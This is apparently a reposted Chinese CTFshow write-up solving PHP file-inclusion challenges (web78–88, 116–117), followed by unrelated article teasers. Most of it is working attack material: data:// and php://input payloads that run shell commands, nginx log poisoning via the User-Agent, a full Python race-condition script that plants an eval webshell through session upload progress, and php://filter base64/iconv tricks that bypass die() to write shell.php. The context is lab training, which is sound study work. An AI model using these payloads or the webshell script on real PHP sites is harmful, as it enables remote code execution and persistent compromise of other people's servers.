[CTFshow] 文件包含 78~88,116~117

news/2024/11/15 0:24:04/文章来源:https://www.cnblogs.com/sunset2131/p/18417904

web78

if(isset($_GET['file'])){$file = $_GET['file'];include($file);
}else{highlight_file(__FILE__);
}
  1. php伪协议,data:// 数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码

    ?file=data://text/plain,<?=system('ls')?>
    ?file=data://text/plain,<?=system('cat flag.php')?>
    

web79


if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);include($file);
}else{highlight_file(__FILE__);
}
  1. 就增加了个替换,*号绕过

    ?file=data://text/plain,<?=system('cat f*')?>
    

web80

if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);include($file);
}else{highlight_file(__FILE__);
}
  1. data不给用了,但还有很多方法,但是大小写绕过,使用php://input

    POST /?file=phP://input HTTP/1.1
    Host: 
    .....
    <?=system('cat fl0g.php');?>
    

web81

if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);include($file);
}else{highlight_file(__FILE__);
}
  1. 多了点过滤: ,尝试使用日志绕过,F12查看服务器是nginx那么默认日志文件则是在/var/log/nginx/access.log ,通过修改ua来达到目的

    # 1
    GET /?file=/var/log/nginx/access.log HTTP/1.1
    User-Agent: Mozilla/5.0 (Win<?php system('ls');?>dows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
    # 2
    GET /?file=/var/log/nginx/access.log HTTP/1.1
    User-Agent: Mozilla/5.0 (Win<?php system('cat fl0g.php');?>dows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
    

web82 - web86

if(isset($_GET['file'])){$file = $_GET['file'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);include($file);
}else{highlight_file(__FILE__);
}

伪协议,日志都不能使用了,尝试session包含

  1. 使用脚本,已经对代码进行注释

    # -*- coding: utf-8 -*-
    import requests
    import threading
    import io// 条件竞争的url
    url = 'http://787ca786-8744-4541-95ee-be9c1eca47e9.challenge.ctf.show/'
    sessid = 'ctfshow'# /tmp/sess_sessionid 中写入一句话木马
    def write(session):# 用来模拟上传文件fileBytes = io.BytesIO(b'a' * 1024 * 50)# 无限循环生成session文件,因为在文件上传成功后会立马销毁sessionwhile True:response = session.post(url,data={# 写入一句话马,密码为1'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'},cookies={#设置sessionid,文件名将会以sess_sessid来命名'PHPSESSID': sessid},# 假装上传的是图片,格式是fileBytesfiles={'file': ('ctfshow.jpg', fileBytes)})def read(session):# 循环读取write生成的session文件,因为要在删除前访问到session文件while True:response = session.post(# 一般session文件保存在/tmp/*url + '?file=/tmp/sess_' + sessid,data={# 执行在write上传的session文件里的马,在网页目录文件夹生成muma.jpg,并写入一句马"1":"file_put_contents('/var/www/html/muma.php','<?php eval($_POST[a]);?>');"},cookies={'PHPSESSID': sessid})# 访问木马文件,如果访问到了就代表竞争成功resposne2 = session.get(url + 'muma.php')if resposne2.status_code == 200:print('++++++done++++++')else:print(resposne2.status_code)if __name__ == '__main__':evnet = threading.Event()# 写入和访问分别设置 5 个线程。with requests.session() as session:for i in range(5):threading.Thread(target=write, args=(session,)).start()for i in range(5):threading.Thread(target=read, args=(session,)).start()evnet.set()
    

    整个代码的思路就是,往/tmp/sess_ctfshow文件中写入一句话木马,密码为1,然后用题目中的文件包含漏洞,包含这一个文件,在函数read中尝试利用/tmp/sess_ctfshow的一句话往网站根目录文件1.php写一句话木马,密码为a

  2. 竞争成功后访问muma.php ,读取flag即可

web87

if(isset($_GET['file'])){$file = $_GET['file'];$content = $_POST['content'];$file = str_replace("php", "???", $file);$file = str_replace("data", "???", $file);$file = str_replace(":", "???", $file);$file = str_replace(".", "???", $file);file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);}else{highlight_file(__FILE__);
}

新增 file_put_contents 函数,将会往 $file 里写入 <?php die('大佬别秀了');?> 和我们 post 传入的 $content 内容,这样就会先执行die 而后面我们传入的代码就不会执行因此我们还需要绕过这个 die() 函数

参考链接:https://blog.csdn.net/Myon5/article/details/140224831#:~:text=ctfshow-we

通过 php://filter/write 过滤器来绕过

官网链接: https://www.php.net/manual/zh/wrappers.php.php

通过 php://filter/write=convert.base64-decode/resource=xxx.php

  1. 思路:假如我们content输入的是PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==<?php eval($_POST[1]); ?>经过base64编码后的字符),那么文件内容就是<?php die('大佬别秀了');?>PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg== ,然后我们通过php://filter/write=convert.base64-decode/resource=xxx.php 来将输入的内容进行base64解码,那么文件内容就会变成 �]�<?php eval($_POST[1]); ?> ,所以就饶过die函数

  2. 仔细查看代码,发现urldecode 会将我们输入的php://filter/write=convert.base64-decode/resource=xxx.php 进行url解码,所以我们需要对php://filter/write=convert.base64-decode/resource=xxx.php 进行两次url编码,中间件会解码一次,代码中也会解码一次

  3. 构造payload:

    php://filter/write=convert.base64-decode/resource=shell.php 进行两次url编码

    %25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30
    

    <?php eval($_POST[1]); ?> 进行base64编码

    PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
    

    还要在前面加上两个1,因为base64编码是4位4位来解码的,不能整除的话就会解码失败,因为<?php die('大佬别秀了');?> 解码后也会剩下两个字符所以我们要在前面加上两个1凑为4的整数

    11PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
    
  4. 构造数据包

    POST /?file=%25%37%30%25%36%38%25%37%30%25%33%61%25%32%66%25%32%66%25%36%36%25%36%39%25%36%63%25%37%34%25%36%35%25%37%32%25%32%66%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%33%64%25%36%33%25%36%66%25%36%65%25%37%36%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%34%25%36%35%25%36%33%25%36%66%25%36%34%25%36%35%25%32%66%25%37%32%25%36%35%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%33%64%25%37%33%25%36%38%25%36%35%25%36%63%25%36%63%25%32%65%25%37%30%25%36%38%25%37%30 HTTP/1.1
    Host: 592b7169-a44....
    ......
    ......
    ......
    content=11PD9waHAgZXZhbCgkX1BPU1RbMV0pOyA/Pg==
    
  5. 之后访问shell.php,使用后门代码走流程就行

web88

if(isset($_GET['file'])){$file = $_GET['file'];if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){die("error");}include($file);
}else{highlight_file(__FILE__);
} 
  1. 过滤了很多,尝试访问了日志文件也不行

  2. 发现好像可以构造伪协议

    ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdscycpOyA/Pg11 // system('ls');?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmwwZy5waHAnKTsgPz41
    

web116

提示:misc+lfi

  1. 进去是个视频,我们下载下来,

    尝试使用binwalk来分离文件

    # kali
    // 查看文件
    binwalk video.mp4 --run-as=root 
    // output
    DECIMAL       HEXADECIMAL     DESCRIPTION
    --------------------------------------------------------------------------------
    27657186      0x1A603E2       PGP RSA encrypted session key - keyid: 7DEBB57A 854F782F RSA (Encrypt or Sign) 1024b
    27820636      0x1A8825C       MySQL ISAM index file Version 8
    28976826      0x1BA26BA       HPACK archive data
    40994603      0x271872B       PNG image, 941 x 320, 8-bit/color RGBA, non-interlaced
    40994644      0x2718754       Zlib compressed data, default compression
    

    发现png,提取 binwalk -e video.mp4 -D PNG --run-as=root ,我的不知道为什么读取不了,使用foremost来提取 foremost xxx.mp4 ,提取出来一张图片

    过滤了蛮多的,不过没有过滤flag ,也没有过滤 filter

    尝试构造语句?file=php://filter/resource=flag.php (直接读取)

    flag在f12响应里面找到,base64编码的,要解码

web117

highlight_file(__FILE__);
error_reporting(0);
function filter($x){if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){die('too young too simple sometimes naive!');}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents); 

和web87长得有点像,不过base64rot13被ban掉了,依旧是使用filter,还有iconv 可以尝试

在linux 里面使用iconvpayload进行编码

先使用linux来对payload编码

iconv -f ucs-2le -t ucs-2be 1.txt
// 输出:?<hp pvela$(P_SO[Ta']';)?>
// 1.txt 里面是 <?php eval($_POST['a']); ?>

再构造filter

?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=1.php

大概思路和web87差不多,也是对数据进行编码解码,原本的<?php die();?> 就会乱码,从而绕过

  1. 提交数据包

    GET /?file=php://filter/convert.iconv.ucs-2be.ucs-2le/resource=1.php
    POST contents=?<hp pvela$(P_SO[Ta']';)?>
    
  2. 提交后访问1.php,之后常规操作

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/799165.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

如何获取并展示PDD商品的详细信息?

在数字化时代,获取并展示PDD商品的详细信息对于电商运营者来说至关重要。这不仅有助于提升用户体验,还能增强商品的转化率。以下是一些有效的方法和策略,可以帮助你获取并展示PDD商品的详细信息。利用API接口 PDD提供了丰富的API接口,允许开发者获取商品的详细信息。通过AP…

重点区域人员徘徊识别监测系统

重点区域人员徘徊识别监测系统对监控画面中重要区域进行实时检测分析。当重点区域人员徘徊识别监测系统检测到一些人徘徊停留时,SuiJi-Ai系统立即报警,并提醒相关负责人妥善处理同时将报警截图和视频保存到数据库中生成表格。SuiJi-Ai重点区域人员徘徊识别监测系统主要通过现…

章13——包装类——Math类

常用方法 均为静态1、random 默认下返回 0 到 1 的随机数(前闭后开) 2、如取 2->7 之间的随机数: int a = (int)(2 + (5+1)*Math.random()); //+1的原因:(int)会舍去小数,且 random 的取值前闭后开,如果不 +1 最大只能取到6

新能源汽车如何更好地落地供应商伙伴协同系统管理?

近年来,我国新能源汽车业得到快速发展,从新能源汽车制造的产业链来说,包括上中下游,其中: 上游产业主要包括原材料供应和关键零部件生产两大部分: 原材料供应:主要为矿产资源和化工材料。 关键零部件生产:包括动力电池、电机及控制器、电池管理系统(BMS)等。中游产业…

安全帽佩戴识别算法

安全帽佩戴识别算法采用SuiJi-AI人工智能深度学习技术+计算机智能视觉识别算法,且通过规模化的安全帽数据识别训练。安全帽佩戴识别算法借助现场已有的监控摄像头对监控画面中人员着装行为进行实时分析识别。假如检测人员不戴安全帽,SuiJiAi将立即记录和警报,并可将纪录数据…

徘徊行为AI智能分析预警系统

徘徊行为AI智能分析预警系统可以立即对视频监测区域进行实时分析,自动识别监测监控画面中同一角色的来回进出频率,徘徊行为AI智能分析预警系统对多次进出徘徊人员实时检测预警,弥补人为因素的监督盲点。徘徊行为AI智能分析预警系统真正提高了安全监控的效率,可以尽快发现违…

人员徘徊识别系统

人员徘徊识别系统利用现场已有监控摄像头可以实时剖析监控画面中人员异常徘徊行为,当人员徘徊识别系统识别到特殊重要区域(危险区域)附近出现人员来回反复停留时,系统会立即搜抓拍预警并同步异常违规信息到后台,及时通告有关人员留意出现异常的目标,方便及时到现场处理。…

设置socks5代理:访问远程设备所在网络中的所有服务

部署Gemini Gemini使用教程 - 迅捷网络[来送福利] - 博客园 (cnblogs.com) 1.http和socks5代理的区别 2.哪些系统和软件支持socks5代理 1. 操作系统 许多操作系统本身就提供对 SOCKS5 代理的支持,或者可以通过配置或额外的软件来实现 SOCKS5 代理功能。Windows:Windows 原生网…

WiFi基础(四):WiFi工作原理及WiFi接入过程

liwen01 2024.09.16 前言 802.11 无线 WiFi 网有三类帧:数据帧、管理帧、控制帧。与有线网相比,无线 WiFi 网会复杂很多。大部分应用软件开发对 WiFi 的控制帧和管理帧了解得并不多,因为它们在物理层和数据链路层就已经被处理了,上层应用很少能感知到。 一般是在设备出现 W…

监狱视频行为分析监控系统

监狱视频行为分析监控系统利用监狱现场已有的监控摄像头对提审室、监室内、放风场所、劳动场所、禁闭室等重要场景日常安保监控画面进行分析,监狱视频行为分析监控系统对监控画面中出现超出独特警员界限、出现异常徘徊、出现晚间起身、出现异常激烈运动、出现异常集聚等行为现…

人员徘徊识别智能预警系统

人员徘徊识别智能预警系统利用计算机视觉深度学习算法+边缘计算视频分析技术,对重要地区马上开展7*24h实时监测,一旦发现摄像头图片中有些人犹豫不定,人员徘徊识别智能预警系统会及时抓拍预警,并保存异常徘徊记录,便于之后查验、调研和收集证据,进而更有效的协助后台安全…

监控行为分析系统

监控行为分析系统在现场监控范围之内,能够识别分析监控区人员行为违规情况,监控行为分析系统可以识别如睡岗离岗识别、安全带穿戴识别、安全帽反光衣穿戴识别、明火烟雾检测、抽烟行为识别、玩手机检测、区域入侵识别、打电话识别等危险行为,监控行为分析系统依据计算机深度…